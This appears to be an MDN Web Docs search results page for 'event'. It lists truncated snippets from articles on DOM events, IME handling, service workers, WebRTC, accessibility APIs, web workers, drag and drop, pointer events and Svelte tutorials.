eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...depending on the document's type (e.g. html, xml, svg, …), a larger api is available: html documents, served with the "text/html" content type, also implement the htmldocument interface, whereas xml and svg documents implement the xmldocument interface. constructor document() creates ...
...And 61 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable this interface is a text input
events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispatch key
events and create, modify, and commit composition in higher level. nsidomwindowutils has provided the methods which dispatched keyboard
events and composition
events almost directly. therefore they sometimes caused impossible scenarios in automated tests (what's tested with such
events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispatch
events with wrong rules. for so...
...omated tests (what's tested with such
events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispatch
events with wrong rules. for solving that issue, methods of this interface have been designed for performing a key operation or representing a change of composition state. for example, the implementation of this interface manages modifier state and composition state, initializes dom
events from minimum information, and doesn't dispatch some
events if they are not necessary. this means that even when gecko changes the dom
event behavior, it may not be necessary that the users of this interface need to be updated, i.e., the implementation of this class can be a cushion from the impact of gecko's change. you can create an instance of this interface with the following code: var tip ...
...d to be updated, i.e., the implementation of this class can be a cushion from the impact of gecko's change. you can create an instance of this interface with the following code: var tip = components.classes["@mozilla.org/text-input-processor;1"]. createinstance(components.interfaces.nsitextinputprocessor); next, you need to get the rights to create composition or dispatch keyboard
events with begininputtransaction() or begininputtransactionfortests(): if (!tip.begininputtransaction(window, callback)) { return; } if begininputtransaction() or begininputtransactionfortests() returns false, it means that another instance of nsitextinputprocessor has composition on the window or is dispatching an
event. in this case, other instances cannot create composition nor dispatch keyboa...
...And 56 more matches
IME handling guide
this document explains how gecko handles ime. introduction ime is an abbreviation of input method editor. this is a technical term from windows but these days, this is used on other platforms as well. ime is a helper application of a user's text input. it handles native key
events before or after focused application (depending on the platform) and creates a composition string (a.k.a. preedit string), suggests a list of what the user attempts to input, commits composition string as a selected item off the list and commits composition string without any conversion. ime is used by chinese, japanese, korean and taiwan users for inputting chinese characters because the number of them is beyond thousands and cannot be input from the keyboard directly. however, especially on mobile devices ...
...u is created by ime. each clause is represented with selection in the editor. from chrome script, you can check it with nsiselectioncontroller. in native code, you can access it with either nsiselectioncontroller or mozilla::selectiontype (the latter is recommended because of type safer). and editor sets these ime selections from mozilla::textrangetype which are sent by mozilla::widgetcomposition
event as mozilla::textrangearray. following table explains the mapping between them. selection types of each clause of composition string or caret nsiselectioncontroller mozilla::selectiontype mozilla::textrangetype caret selection_normal enormal ecaret raw text typed by the user selection_ime_raw_input eimerawclause erawclause selec...
...selection_ime_selectedconvertedtext eimeselectedclause eselectedclause note that typically, "selected clause of raw text typed by the user" isn't used because when composition string is already separated to multiple clauses, that means that the composition string has already been converted by ime at least once. modules handling ime composition widget each widget handles native ime
events and dispatches widgetcomposition
event with mozilla::widget::text
eventdispatcher to represent the behavior of ime in the focused editor. this is the only module that depends on the users platform. see also native ime handlers section for the detail of each platform's implementation. android widget still does not use text
eventdispatcher to dispatch widgetcomposition
events, see bug 1137567. mo...
...And 55 more matches
Inputs and input sources - Web APIs
iefly described under input profiles below, and a more complete guide may be found in our article using webxr input profiles. transient input sources some devices may create transient input sources to be used in tandem with an action which doesn't really come from that device, but is being presented as if it is. for example, if an xr device provides a mode in which the mouse is used to simulate
events on the device, a new xrinputsource object might be created to represent the simulated input source for the duration of handling the action. this is necessary because of the separation that's maintained between standard input devices and xr input sources. an artificial source is used to represent the external source for the duration of each transient action. managing input sources when multipl...
...y which is a live list of the webxr input devices currently connected to the xr system. let inputsourcelist = xrsession.inputsources; due to the fact that the contents of the xrinputsource objects representing each input source in the list are read-only, changes to these inputs are made by the webxr system by deleting the source's record and adding a new one to replace it. ...
...it. an inputsourceschange
event is sent to your xrsession whenever one or more of the input sources change, or when an input source is added to or removed from the list. ...
...And 55 more matches
Using Service Workers - Web APIs
orkers, the following steps are generally observed for basic set up: the service worker url is fetched and registered via serviceworkercontainer.register(). if successful, the service worker is executed in a serviceworkerglobalscope; this is basically a special kind of worker context, running off the main script execution thread, with no dom access. the service worker is now ready to process
events. installation of the worker is attempted when service worker-controlled pages are accessed subsequently. an install
event is always the first one sent to a service worker (this can be used to start the process of populating an indexeddb, and caching site assets). this is really the same kind of procedure as installing a native or firefox os app — making everything available for use offline. ...
...ker (this can be used to start the process of populating an indexeddb, and caching site assets). this is really the same kind of procedure as installing a native or firefox os app — making everything available for use offline. when the oninstall handler completes, the service worker is considered installed. next is activation. when the service worker is installed, it then receives an activate
event. the primary use of onactivate is for cleanup of resources used in previous versions of a service worker script. the service worker will now control pages, but only those opened after the register() is successful. i.e. a document starts life with or without a service worker and maintains that for its lifetime. so documents will have to be reloaded to actually be controlled. the below graphic...
... resources used in previous versions of a service worker script. the service worker will now control pages, but only those opened after the register() is successful. i.e. a document starts life with or without a service worker and maintains that for its lifetime. so documents will have to be reloaded to actually be controlled. the below graphic shows a summary of the available service worker
events: promises promises are a great mechanism for running async operations, with success dependant on one another. this is central to the way service workers work. promises can do a variety of things, but all you need to know for now is that if something returns a promise, you can attach .then() to the end and include callbacks inside it for success cases, or you can insert .catch() on the end...
...And 42 more matches
Signaling and video calling - Web APIs
in. exchanging ice candidates two peers need to exchange ice candidates to negotiate the actual connection between them. every ice candidate describes a method that the sending peer is able to use to communicate. each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already started streaming. an icecandidate
event is sent to the rtcpeerconnection to complete the process of adding a local description using pc.setlocaldescription(offer). once the two peers agree upon a mutually-compatible candidate, that candidate's sdp is used by each peer to construct and open a connection, through which media then begins to flow. if they later agree on a better (usually higher-performance) candidate, the stream may chang...
... contents of the sdp are irrelevant to you in essentially all cases. avoid the temptation to try to make it more complicated than that until you really know what you're doing. that way lies madness. all your signaling server now needs to do is send the messages it's asked to. your workflow may also demand login/authentication functionality, but such details will vary. note: the onicecandidate
event and createanswer() promise are both async calls which are handled separately. be sure that your signaling does not change order! for example addicecandidate() with the server's ice candidates must be called after setting the answer with setremotedescription(). signaling transaction flow the signaling process involves this exchange of messages between two peers using an intermediary, the signal...
...led: the signaling process involves this exchange of messages among a number of points: each user's client running within a web browser each user's web browser the signaling server the web server hosting the chat service imagine that naomi and priya are engaged in a discussion using the chat software, and naomi decides to open a video call between the two. here's the expected sequence of
events: we'll see this detailed more over the course of this article. ice candidate exchange process when each peer's ice layer begins to send candidates, it enters into an exchange among the various points in the chain that looks like this: each side sends candidates to the other as it receives them from their local ice layer; there is no taking turns or batching of candidates. as soon as the ...
...And 42 more matches
Window - Web APIs
domparser domparser can parse xml or html source stored in a string into a dom document. domparser is specified in dom parsing and serialization. image used for creating an htmlimageelement. option used for creating an htmloptionelement. staticrange read only returns a staticrange() constructor which creates a staticrange objec...
... specified in dom parsing and serialization. image used for creating an htmlimageelement. option used for creating an htmloptionelement. staticrange read only returns a staticrange() constructor which creates a staticrange object. worker used for creating a web worker. xmlserializer converts a dom tree into xml or html source. properties this interface inherits properties from the
eventtarget interface and implements properties from the windoworworkerglobalscope and window
eventhandlers mixins. note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below. window.closed read only this property indicates whether the current window is closed or not. window.console read only returns a reference to th...
...em. window.domquad read only returns a reference to a domquad object, which provides represents a quadrilaterial object, that is one having four corners and four sides. window.domrect read only returns a reference to a domrect object, which represents a rectangle. window.domrectreadonly read only returns a reference to a domrectreadonly object, which represents a rectangle. window.
event read only returns the current
event, which is the
event currently being handled by the javascript code's context, or undefined if no
event is currently being handled. the
event object passed directly to
event handlers should be used instead whenever possible. window.frameelement read only returns the element in which the window is embedded, or null if the window is not embedded. window.fram...
...And 40 more matches
Using DTMF with WebRTC - Web APIs
ected, you can obtain from its rtcrtpsender the rtcdtmfsender object you'll use for sending dtmf. from there, you can simply call rtcdtmfsender.insertdtmf() to enqueue dtmf signals to be sent on the track to the other peer. the rtcrtpsender will then send the tones to the other peer as packets alongside the track's audio data. each time a tone is sent, the rtcpeerconnection receives a tonechange
event with a tone property specifying which tone finished playing, which is an opportunity to update interface elements, for example. when the tone buffer is empty, indicating that all the tones have been sent, a tonechange
event with its tone property set to "" (an empty string) is delivered to the connection object. if you'd like to know more about how this works, read rfc 3550: rtp: a transport pro...
...o but not video. dialbutton and logelement these variables will be used to store references to the dial button and the <div> into which logging information will be written. they'll get set up when the page is first loaded. see initialization below. ...
...on and logelement these variables will be used to store references to the dial button and the <div> into which logging information will be written. they'll get set up when the page is first loaded. see initialization below. ...
...And 39 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
ize gecko's msaa support. intro: what is msaa? msaa is the microsoft active accessibility (msaa) api, used on windows operating systems to support assistive technologies for users with disabilities. third party assistive technology, such as screen readers, screen magnifiers and voice input software, want to track what's happening inside mozilla. they need to know about focus changes and other
events, and it needs to know what objects are contained in the current document or dialog box. using this information, a screen reader will speak out loud important changes to the document or ui, and allow the user to track where they navigate. the screen reader user can navigate the web page using screen reader commands or browser commands, and the two pieces of software must remain in sync. some scre...
... user interface currently being interacted with and custom interface extensions via interfaces via queryinterface and queryservice. this can provide assistive technology with contextual information specific to your object model. for example, gecko support isimpledomnode to provide information about the dom node for an accessible object. ...
...the accessible explorer and inspect object tools show the tree of data nodes the accessible object is exposing through com, and what the screen boundaries of each object are. ...
...And 38 more matches
Gecko info for Windows accessibility vendors
ocs on msdn and play with the sample apps and code that come with msaa sdk 1.3. (i recommend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools. the other differences are not important). dom: document object model this is the w3c's specification for how web content is exposed to javascript and other languages. ...
... xul: extensible user-interface language the xml-based language used by firefox and mozilla to develop the ui. similar to html in that it can be combined with css and javascript to make powerful applications. ...
... xul: extensible user-interface language the xml-based language used by firefox and mozilla to develop the ui. similar to html in that it can be combined with css and javascript to make powerful applications. contains more desktop-style widgets than html and follows a box layout model, rather than being text-flow based. ...
...And 37 more matches
RTCPeerConnection - Web APIs
onnection, and close the connection once it's no longer needed. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcpeerconnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monosp...
..."/><a xlink:href="/docs/web/api/rtcpeerconnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-
events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties from:
eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote p...
...And 35 more matches
Drag Operations - Web APIs
ever, this behavior is only the default drag behavior, if no listeners adjust the data to be dragged. in html, apart from the default behavior for images, links, and selections, no other elements are draggable by default. to make other html elements draggable, three things must be done: set the draggable="true" on the element that you wish to make draggable. add a listener for the dragstart
event. set the drag data in the above listener. here is an example which allows a section of content to be dragged. <p draggable="true" ondragstart="
event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged. </p> the draggable attribute is set to "true", so this element becomes draggable. if this attribute were omitted or set to "false", th...
...h a value of false to disable dragging of these elements. note: when an element is made draggable, text or other elements within it can no longer be selected in the normal way by clicking and dragging with the mouse. instead, the user must hold down the alt key to select text with the mouse, or use the keyboard. ...
...ement is made draggable, text or other elements within it can no longer be selected in the normal way by clicking and dragging with the mouse. instead, the user must hold down the alt key to select text with the mouse, or use the keyboard. starting a drag operation in this example, a listener is added for the dragstart
event by using the ondragstart attribute. ...
...And 34 more matches
Index
database operations to be slow. 76 warnings storage, warnings storage sometimes warns about things to stderr. this page is designed to help explain the cause and possible solutions for these warnings. 77 the thread manager firefox 3, threads the thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching
events to them for processing. 78 troubleshooting xpcom components registration add-ons, extensions, xpcom often the first time you create an xpcom component, it may fail to register correctly. 79 using nscomptr xpcom this document is the sum total of everything written down about nscomptr. if you have a question about nscomptr, and this document doesn't answer...
...selection. 286 takefocus this method focuses this accessible node. 287 takeselection this method selects this accessible node only. 288 value accessible value -- a number or a secondary text equivalent for this node. widgets that use role attribute can force a value using the valuenow attribute. 289 nsiaccessiblecaretmove
event interfaces, interfaces:scriptable, xpcom, xpcom interface reference no summary! 290 nsiaccessiblecoordinatetype accessibility, interfaces, interfaces:scriptable, xpcom, xpcom interface reference prior to gecko 1.9, these constants were implemented in nsiaccessibletext. 291 nsiaccessibledocument accessibility, interfaces, interfaces:scriptable, xpcom, ...
...onstants were implemented in nsiaccessibletext. 291 nsiaccessibledocument accessibility, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference you can queryinterface to nsiaccessibledocument from the nsiaccessible or nsiaccessnode for the root node of a document. ...
...And 32 more matches
Mozilla accessibility architecture
mozilla supports two accessibility apis: microsoft active accessibility (msaa) on windows and accessibility tool kit (atk) on linux and unix. ...
...estions are encouraged. 1. intro this document is for people who wish to understand the architecture of mozilla's accessibility api module, which provides support for platform accessibility apis. accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, which need information about document content and ui controls, as well as important
events like changes of focus. mozilla supports two accessibility apis: microsoft active accessibility (msaa) on windows and accessibility tool kit (atk) on linux and unix. we do not currently support the carbon accessibility model for apple's os x. please note, the documentation for implementing an msaa server has moved. you may also wish to read gecko info for windows accessibility vendors, a primer f...
...then use these xpcom interfaces to gather information about the objects they want to expose, make any necessary changes, and then expose the information using microsoft com on windows, or through gtk2's atk api's on linux and unix. the assistive technology can then use this information in a number of ways. it can read in an entire document at once, look only pieces of a document related to recent
events, or traverse the accessibility object model based on screen position. accessible tree contains only a subset of nodes from the dom tree not all dom nodes are exposed through accessibility api toolkits -- only those objects deemed important by the developers of the toolkit. mozilla keeps around its own tree of accessibility objects, which parallels the dom tree, but is not a full representation. ...
...And 31 more matches
ui/frame - Archive of obsolete content
ic browser window in all cases, postmessage() takes two arguments: the message itself and a targetorigin. the targetorigin argument can be either the uri of the document hosted by the target, or the wildcard "*". if you use the uri, then the message will only be dispatched to the window whose document matches that uri. if you know the target uri, you should use it, as this is more secure: it pr
events another window from intercepting messages that were intended for someone else. from frame to add-on to send a message from a frame script to the add-on, use window.parent.postmessage(). this takes two arguments, the message itself and a target origin. if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the frame s...
... to add-on to send a message from a frame script to the add-on, use window.parent.postmessage(). this takes two arguments, the message itself and a target origin. if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the frame script has received a message from the add-on already, it can use the origin property of the
event object passed to the message hander: // listen for messages from the add-on, and send a reply window.add
eventlistener("message", function(
event) {
event.source.postmessage("pong",
event.origin) }, false); this frame script listens to change
events on the "city-selector" <select> element, and sends a message to the add-on containing the value for the newly selected element. // city-info.js va...
... send a reply window.add
eventlistener("message", function(
event) {
event.source.postmessage("pong",
event.origin) }, false); this frame script listens to change
events on the "city-selector" <select> element, and sends a message to the add-on containing the value for the newly selected element. // city-info.js var cityselector = window.document.getelementbyid("city-selector"); cityselector.add
eventlistener("change", citychanged); function citychanged() { window.parent.postmessage(cityselector.value, "*"); } to listen for these messages in the main add-on code, you can assign a listener to the frame's message
event. the data property of the
event is the message payload. var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: ...
...And 30 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unprivileged document to chrome an easy way to send data from a web page to an extension is by using custom dom
events. in your extension's browser.xul overlay, write code which listens for a custom dom
event. here we call the
event myextension
event. var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); } } document.add
eventlistener("myextension
event", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the
event. the data from the web page (unprivileged code) will be the values of attribute1 and attribute2. to trigger the...
...ill be the values of attribute1 and attribute2. to trigger the alert() in the listener and pass the data from the web page, write code such as this in the web page: var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.create
event("
events"); evt.init
event("myextension
event", true, false); element.dispatch
event(evt); this code creates an arbitrary element -- <myextensiondataelement/> -- and inserts it into the web page's dom. values are set for two arbitrary attributes on the element. these can also be named anything you like, but we've chosen attribute1 and attribute2. finally, the code creates and dispatches a custom ev...
...vent("myextension
event", true, false); element.dispatch
event(evt); this code creates an arbitrary element -- <myextensiondataelement/> -- and inserts it into the web page's dom. values are set for two arbitrary attributes on the element. these can also be named anything you like, but we've chosen attribute1 and attribute2. finally, the code creates and dispatches a custom
event named myextension
event -- similar to the standard dom click
event you catch with onclick handlers. the
event bubbles up from the web page and reaches the extension (privileged code) where your listener catches it and reads the attribute values from the dom element where the
event originated. ...
...And 30 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
objective: learn some advanced svelte techniques involving solving reactivity issues, keyboard accessibility problems to do with component lifecycle, and more. we'll focus on some accessibility issues involving focus management. to do so, we'll utilize some techniques for accessing dom nodes and executing methods like focus() and select(). we will also see how to declare and clean-up
event listeners on dom elements. we also need to learn a bit about component lifecycle, to understand when these dom nodes get mounted and and unmounted from the dom and how we can access them. we will also learn about the action directive, which will allow us to extend the functionality of html elements in a reusable and declarative way. finally, we will learn a bit more about components. so far, we...
...tand when these dom nodes get mounted and and unmounted from the dom and how we can access them. we will also learn about the action directive, which will allow us to extend the functionality of html elements in a reusable and declarative way. finally, we will learn a bit more about components. so far, we've seen how components can share data using props, and communicate with their parents using
events and two-way data binding. now we will see how components can also expose methods and variables. the following new components will be developed throughout the course of this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding
events required to handle their functionality. newtodo: displays the <input> field and add button for adding a new to...
...n npm install && npm run dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/76cc90c43a37452e8c7f70521f88b698?version=3.23.2 working on the moreactions component now we'll tackle the check all and remove completed buttons. let's create a component that will be in charge of displaying the buttons and emitting the corresponding
events. create a new file — components/moreactions.svelte. when the first button is clicked, we'll emit a checkall
event to signal that all the todos should be checked/unchecked. when the second button is clicked, we'll emit a removecompleted
event to signal that all of the completed todos should be removed. put the following content into your moreactions.svelte file: <script> import...
...And 30 more matches
Web Console remoting - Firefox Developer Tools
lient.jsm (in toolkit/devtools/webconsole) and it is used by the web console when working with the web console actor. to see how the debugger is used in the web console code, look in browser/devtools/webconsole/webconsole.js, and search for webconsoleconnectionproxy. the new web console actors are: the webconsoleactor allows js evaluation, autocomplete, start/stop listeners, etc. the network
eventactor is used for each new network request. the client can request further network
event details - like response body or request headers. to attach to the webconsoleactor, follow these steps: connecttoserver() // the usual listtabs() pickthetabyouwant() debuggerclient.attachconsole(tab.consoleactor, listeners, onattachconsole) the listeners argument is an array which specifies listeners you w...
...tor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ... ] } notice that the consoleactor is also available as a global actor. when you attach to the global consoleactor you receive all of the network requests, page errors, and the other
events from all of the tabs and windows, including chrome errors and network
events. this actor is used for the browser console implementation and for debugging remote firefox/b2g instances. startlisteners(listeners, onresponse) the new startlisteners packet: { "to": "conn0.console9", "type": "startlisteners", "listeners": [ "pageerror", "consoleapi", "networkactivity", "fileac...
...ly is: { "startedlisteners": [ "pageerror", "consoleapi", "networkactivity", "fileactivity" ], "nativeconsoleapi": true, "from": "conn0.console9" } the reply tells which listeners were started and it includes a flag nativeconsoleapi which tells if the window.console object was overridden by the scripts in the page or not. tab navigation to listen to the tab navigation
events you also need to attach to the tab actor for the given tab. the tabnavigated notification comes from tab actors. prior to firefox 20 the web console actor provided a locationchange listener, with an associated locationchanged notification. this is no longer the case: we have made changes to allow the web console client to reuse the tabnavigated notification (bug 792062). when page navigation...
...And 28 more matches
Using Web Workers - Web APIs
web workers are a simple means for web content to run scripts in background threads. the worker thread can perform tasks without interfering with the user interface. in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null). once created, a worker can send messages to the javascript code that created it by posting messages to an
event handler specified by that code (and vice versa). this article provides a detailed introduction to using web workers. web workers api a worker is an object created using a constructor (e.g. worker()) that runs a named javascript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. thus, using the wind...
...f the window object. but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage
event handler (the message is contained within the message
event's data attribute.) the data is copied rather than shared. workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
...in.js): if (window.worker) { ... } spawning a dedicated worker creating a new worker is simple. all you need to do is call the worker() constructor, specifying the uri of a script to execute in the worker thread (main.js): var myworker = new worker('worker.js'); sending messages to and from a dedicated worker the magic of workers happens via the postmessage() method and the onmessage
event handler. when you want to send a message to the worker, you post messages to it like this (main.js): first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } second.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } so here we have two <input> elements rep...
...And 28 more matches
Tabbed browser - Archive of obsolete content
rowser. // gbrowser is only accessible from the scope of // the browser window (browser.xul) gbrowser.addtab(...); if gbrowser isn't defined your code is either not running in the scope of the browser window or running too early. you can access gbrowser only after the browser window is fully loaded. if you need to do something with gbrowser right after the window is opened, listen for the load
event and use gbrowser in the
event listener. if your code does not have access to the main window because it is run in a sidebar or dialog, you first need to get access to the browser window you need before you can use gbrowser. you can find more information on getting access to the browser window in working with windows in chrome code. from a sidebar basically, if your extension code is a sidebar ...
...the newly opened tab, you'll need to wait until the content has finished loading. // wrong way (the page hasn't finished loading yet) var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); alert(newtabbrowser.contentdocument.body.innerhtml); // better way var newtabbrowser = gbrowser.getbrowserfortab(gbrowser.addtab("http://www.google.com/")); newtabbrowser.add
eventlistener("load", function () { newtabbrowser.contentdocument.body.innerhtml = "<div>hello world</div>"; }, true); (the
event target in the onload handler will be a 'tab' xul element). see tabbrowser for getbrowserfortab(). note that the code above does not work inside of the electrolysis (e10s) enabled tabs. opening a url in the correct window/tab there are methods available in chrome://brow...
...llowkeywordfixup, postdata, referrerurl ) the following code will open a url in a new tab, an existing tab, or an existing window based on which mouse button was pressed and which hotkeys (ex: ctrl) are being held. the code given is for a menuitem, but will work equally well for other xul elements. this will only work in an overlay of browser.xul. ...
...And 27 more matches
Web APIs
when writing code for the web, there are a large number of web apis available. below is a list of all the apis and interfaces (object types) that you may be able to use while developing your web app or site. web apis are typically used with javascript, although this doesn't always have to be the case. specifications this is a list of all the apis that are available. ...
...api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer
eventspointer lock apiproximity
events push api rresize observer apiresource timing apisserver sent
eventsservice workers apistoragestorage access apistreams ttouch
eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of a...
...webvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available. ...
...And 27 more matches
Key Values - Web APIs
the tables below list the standard key values in various categories of key, with an explanation of what the key is typically used for. corresponding virtual keycodes for common platforms are included where available. ...
...keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. keyboard
event.key value description virtual keycode windows mac linux android "unidentified" the user agent wasn't able to map the
event's virtual keycode to a specific key value. this can happen due to hardware or software constraints, or because of constraints around the platform on which the user agent is running. varies varies varies varies ...
...ts, or because of constraints around the platform on which the user agent is running. varies varies varies varies modifier keys modifiers are special keys which are used to generate special characters or cause special actions when used in combination with other keys. examples include the shift and control keys, and lock keys such as caps lock and numlock. keyboard
event.key value description virtual keycode windows mac linux android "alt" [5] the alt (alternative) key. vk_menu (0x12) vk_lmenu (0xa4) vk_rmenu (0xa5) kvk_option (0x3a) kvk_rightoption (0x3d) gdk_key_alt_l (0xffe9) gdk_key_alt_r (0xffea) qt::key_alt (0x01000023) keycode_alt_left (57) keycode_alt_right (58) "altgraph" [5...
...And 26 more matches
Index - Archive of obsolete content
butes, xul reference no summary! 10 accesskey reference, xul, xul attributes, xul reference, accesskey no summary! 11 activetitlebarcolor xul attributes, xul reference no summary! 12 afterselected xul attributes, xul reference no summary! 13 align reference, référence(2), xul no summary! 14 allow
events xul attributes, xul reference no summary! 15 allownegativeassertions xul attributes, xul reference no summary! 16 alternatingbackground xul attributes, xul reference no summary! 17 alwaysopenpopup xul attributes, xul reference no summary! 18 attribute xul attributes, xul reference no summary! 19 ...
...111 empty xul attributes, xul reference no summary! 112 emptytext xul attributes, xul reference no summary! 113 enablecolumndrag xul attributes, xul reference no summary! 114 enablehistory xul attributes, xul reference no summary! 115 equalsize xul attributes, xul reference no summary! 116
eventnode xul attributes, xul reference no summary! 117
events xul attributes, xul reference no summary! 118 expr xul attributes, xul reference no summary! 119 fadein xul, xul attribute, xul reference no summary! 120 findnextaccesskey xul, xul attributes no summary! 121 findpreviousaccesskey ...
... reference no summary! 215 observes xul attributes, xul reference no summary! 216 onbeforeaccept xul attributes, xul reference no summary! 217 onbookmarkgroup xul attributes, xul reference no summary! 218 onchange needshelp, reference, référence(2), xul attributes, xul reference an onchange attribute is an
event listener to the object for the
event change. a change
event is fired in different ways for different xul input elements as listed below: 219 onclick xul attributes, xul reference no summary! 220 onclosetab xul attributes, xul reference no summary! 221 oncommand xul attributes, xul reference no summary! 222 oncommandupdate ...
...And 25 more matches
Multi-touch interaction - Web APIs
pointer
events extend dom input
events to support various pointing input devices such as pen/stylus and touch screens as well as mouse. the pointer is a hardware-agnostic device that can target a specific set of screen coordinates. having a single
event model for pointers can simplify creating web sites, applications and provide a good user experience regardless of the user's hardware. pointer
events have many similarities to mouse
events but they support multiple simultaneous pointers such as multiple fingers on a touch screen. this additional feature can be used to provide richer user interaction models but at the cost of additional complexity in the multi-touch interaction handling. this document demonstrates via example code, using pointer
events with different multi-touch interactions. ...
... define touch targets the application uses <div> to define three different touch target areas. ...
... define touch targets the application uses <div> to define three different touch target areas. ...
...And 25 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
positions of each vertex and the transforms that need to be applied to convert them to simulate the viewer's current position and orientation. the fragment shader returns the color of each vertex, interpolating as needed from the values found in the texture and applying the lighting effects. ...
...be applied to convert them to simulate the viewer's current position and orientation. the fragment shader returns the color of each vertex, interpolating as needed from the values found in the texture and applying the lighting effects. starting up and shutting down webxr upon initially loading the script, we install a handler for the load
event, so that we can perform initialization. ...
...e color of each vertex, interpolating as needed from the values found in the texture and applying the lighting effects. starting up and shutting down webxr upon initially loading the script, we install a handler for the load
event, so that we can perform initialization. ...
...And 25 more matches
Componentizing our Svelte app - Learn web development
other people apply the same techniques used for deciding if you should create a new function or object. one such technique is the single responsibility principle — that is, a component should ideally only do one thing. if it ends up growing, it should be split into smaller subcomponents. both approaches should complement each other, and help you decide how to better organize your components.
eventually, we will split up our app into the following components: alert.svelte: a general notification box for communicating actions that have occurred. newtodo.svelte: the text input and button that allow you to enter a new todo item. filterbutton.svelte: the all, active, and completed buttons that allow you to apply filters to the displayed todo items. todosstatus.svelte: the "x out of y item...
...e needed information as a parameter, and the handler will modify the parent's state. in our case, the filterbutton component will receive an onclick handler from its parent. whenever the user clicks on any filter button, the child will call the onclick handler, passing the selected filter as a parameter, back up to its parent. we will just declare the onclick prop assigning a dummy handler to pr
event errors, like this: export let onclick = (clicked) => {} and we'll declare the following reactive statement — $: onclick(filter) — to call the onclick handler whenever the filter variable is updated. the <script> section of our filterbutton component should end up looking like this — update it now: <script> export let filter = 'all' export let onclick = (clicked) => {} $: on...
